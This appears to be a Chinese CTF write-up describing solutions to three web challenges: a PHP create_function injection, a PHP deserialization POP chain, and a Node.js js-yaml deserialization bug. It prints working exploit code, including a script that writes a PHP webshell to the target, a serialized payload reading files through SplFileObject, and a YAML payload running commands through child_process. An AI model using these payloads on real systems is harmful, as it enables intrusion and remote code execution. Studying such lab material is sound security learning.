what’s my name 源码忘存了,就记得几个绕过
正则直接include%0a绕过
create_function直接搜文章%27%22]);}phpinfo();/*
绕过
这里强比较可以本地调试,发现是字符串类型,直接传参就行,注意lambda前面有个不可见字符我们用%00表示
这里的lambda每次都会加1,这是php的特性,只有php重启才会重新变回1,我一开始是构造好payload手点73下发现无法写马成功,可能环境问题,后来还是写脚本爆了1 2 3 4 5 6 7 8 9 10 11 12 import requestsfrom concurrent.futures import ThreadPoolExecutorurl = 'http://47.108.206.43:43036/?d0g3=include%0a%27%22]);}file_put_contents("zoe.php","<?php+eval(\$_POST[1]);?>");/*&name=%00lambda_73' while True : res = requests.get(url) print (res.status_code) url2 = "http://47.108.206.43:43036/zoe.php" res2 = requests.get(url=url2) if res2.status_code == 200 : print ("1111111" ) break
easy_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 <?php error_reporting (0 );class Good { public $g1 ; private $gg2 ; public function __construct ($ggg3 ) { $this ->gg2 = $ggg3 ; } public function __isset ($arg1 ) { if (!preg_match ("/a-zA-Z0-9~-=!\^\+\(\)/" ,$this ->gg2)) { if ($this ->gg2) { $this ->g1->g1=666 ; } }else { die ("No" ); } } } class Luck { public $l1 ; public $ll2 ; private $md5 ; public $lll3 ; public function __construct ($a ) { $this ->md5 = $a ; } public function __toString ( ) { $new = $this ->l1; return $new (); } public function __get ($arg1 ) { $this ->ll2->ll2 ('b2' ); } public function __unset ($arg1 ) { if (md5 (md5 ($this ->md5)) == 666 ) { if (empty ($this ->lll3->lll3)){ echo "There is noting" ; } } } } class To { public $t1 ; public $tt2 ; public $arg1 ; public function __call ($arg1 ,$arg2 ) { if (urldecode ($this ->arg1)===base64_decode ($this ->arg1)) { echo $this ->t1; } } public function __set ($arg1 ,$arg2 ) { if ($this ->tt2->tt2) { echo "what are you doing?" ; } } } class You { public $y1 ; public function __wakeup ( ) { unset ($this ->y1->y1); } } class Flag { public function __invoke ( ) { echo "May be you can get what you want here" ; array_walk ($this , function ($one , $two ) { $three = new $two ($one ); foreach ($three as $tmp ){ echo ($tmp .'<br>' ); } }); } } if (isset ($_POST ['D0g3' ])){ unserialize ($_POST ['D0g3' ]); }else { highlight_file (__FILE__ ); } ?>
链子:1 You::wakeup->Luck::__unset->Luck::toString->Flag::invoke
主要是Flag类中原生类的利用,我们通过调试可以发现$this
我们是可以自己加的,在反序列化的时候如果出现原来类不存在的变量也会添加进去 然后就是利用两个原生类来寻找flag位置和读取flag
SplFileObject读
DirectoryIterator找(列出目录下的文件) payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class You { public $y1 ; } class Luck { public $l1 ; public $ll2 ; private $md5 ; public $lll3 ; public function setmd5 ($value ) { $this ->md5 = $value ; } } class Flag { public $SplFileObject ="php://filter/read=convert.base64-encode/resource=/FfffLlllLaAaaggGgGg" ; public function __invoke ( ) { echo "May be you can get what you want here" ; array_walk ($this , function ($one , $two ) { $three = new $two ($one ); foreach ($three as $tmp ){ echo ($tmp .'<br>' ); } }); } } $target =new Luck ();$target ->l1=new Flag ();$b =new Luck ();$b ->setmd5 ($target );$a =new You ();$a ->y1=$b ;echo urlencode (serialize ($a ));
signal 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 const express = require ('express' );const multer = require ('multer' );const bodyParser = require ('body-parser' );const ini = require ('iniparser' );const xml2js = require ('xml2js' );const properties = require ('properties' );const yaml = require ('js-yaml' );const cp = require ('child_process' )const path = require ('path' );const session = require ('express-session' );const app = express ();const port = process.env .PORT || 80 ;const storage = multer.memoryStorage ();const upload = multer ({ storage : storage });app.use (express.static (path.join (__dirname, 'public' ))); app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'ejs' ); app.use (session ({ secret : 'welcome' , resave : false , saveUninitialized : false , cookie : { maxAge : 3600000 } })) let output = '' ;app.get ('/' , (req, res ) => { res.sendFile (path.join (__dirname, 'public' , 'index.html' )); }); app.post ('/convert' , upload.single ('configFile' ), (req, res ) => { if (!req.file ) { return res.status (400 ).send ('No file uploaded.' ); } if (req.body .format !="yaml" ){ return res.status (404 ).send ("该功能暂未开始使用." ); } const fileExtension = path.extname (req.file .originalname ).toLowerCase (); const fileBuffer = req.file .buffer .toString ('utf8' ); if (fileExtension === '.ini' ) { const parsedData = ini.parseString (fileBuffer); output = yaml.dump (parsedData); } else if (fileExtension === '.xml' ) { xml2js.parseString (fileBuffer, (err, result ) => { if (err) { return res.status (500 ).send ('Error parsing XML.' ); } output = yaml.dump (result); }); } else if (fileExtension === '.properties' ) { properties.parse (fileBuffer, (err, parsedData ) => { if (err) { console .error ('Error parsing properties file:' , err); return res.status (500 ).send ('Error parsing properties file.' ); } output = yaml.dump (parsedData); }); } else if (fileExtension === '.yaml' ) { try { const yamlData = yaml.load (fileBuffer); output = yaml.dump (yamlData); } catch (e) { return res.status (400 ).send ('Invalid YAML format: ' + e.message ); } } if (output) { let name = 'ctfer' ; const yamlData = yaml.load (output); if (yamlData && yamlData.name ) { name = yamlData.name ; } req.session .outputData =name; req.session .outputData =output; res.render ('preview' , { name : name,output : output }); } else { res.status (400 ).send ('Unsupported format.' ) } }); app.get ('/download' , (req, res ) => { if (output) { const outputData = req.session .outputData ; res.setHeader ('Content-Type' , 'application/x-yaml' ); res.setHeader ('Content-Disposition' , 'attachment; filename="output.yaml"' ); res.send (outputData); } else { res.status (404 ).send ('File not found.' ); } }); app.get ('/flag' ,(req, res ) => { if (req.session .name =='admin' ){ cp.execFile ('/readflag' , (err, stdout, stderr ) => { if (err) { console .error ('Error:' , err); return res.status (404 ).send ('File not found.' ); } res.send (stdout); }) } else { res.status (403 ).send ('Permission denied.' ); } }) app.listen (port, () => { console .log (`App is running on port ${port} ` ) })
按道理是看package.json的,题目源码提示了只需要看yaml相关的 package.json`1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "name" : "web" , "version" : "1.0.0" , "main" : "index.js" , "license" : "MIT" , "dependencies" : { "ejs" : "^3.1.9" , "express" : "^4.18.2" , "express-session" : "^1.17.3" , "iniparser" : "^1.0.5" , "js-yaml" : "^3.14.1" , "multer" : "^1.4.5-lts.1" , "properties" : "^1.2.1" , "xml2js" : "^0.6.2" } }
我一开始搜的”js-yaml”: “^3.14.1”,发现一个CVE-2013-4660,但是那篇文章对应的版本不对就直接没看了,后来发现就是那个CVE 参考:
通过调试可以发现最后ejs渲染的是name属性 1.yaml1 "name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('whoami').toString(); return flag;}" }
此时写个demo1 2 3 4 5 6 7 8 9 const yaml = require ('js-yaml' );const fs=require ('fs' );const yamlData=yaml.load (fs.readFileSync ('./1.yaml' ,'utf-8' ));console .log (yamlData);output = yaml.dump (yamlData); console .log (output);const lastdata=yaml.load (output);console .log (lastdata.name );
ejs渲染的时候会调用toString()方法 改一下whoami即可拿到flag 还有两个Java和一个python(实现任意文件读取了卡住了)没做出来,准备后面复现了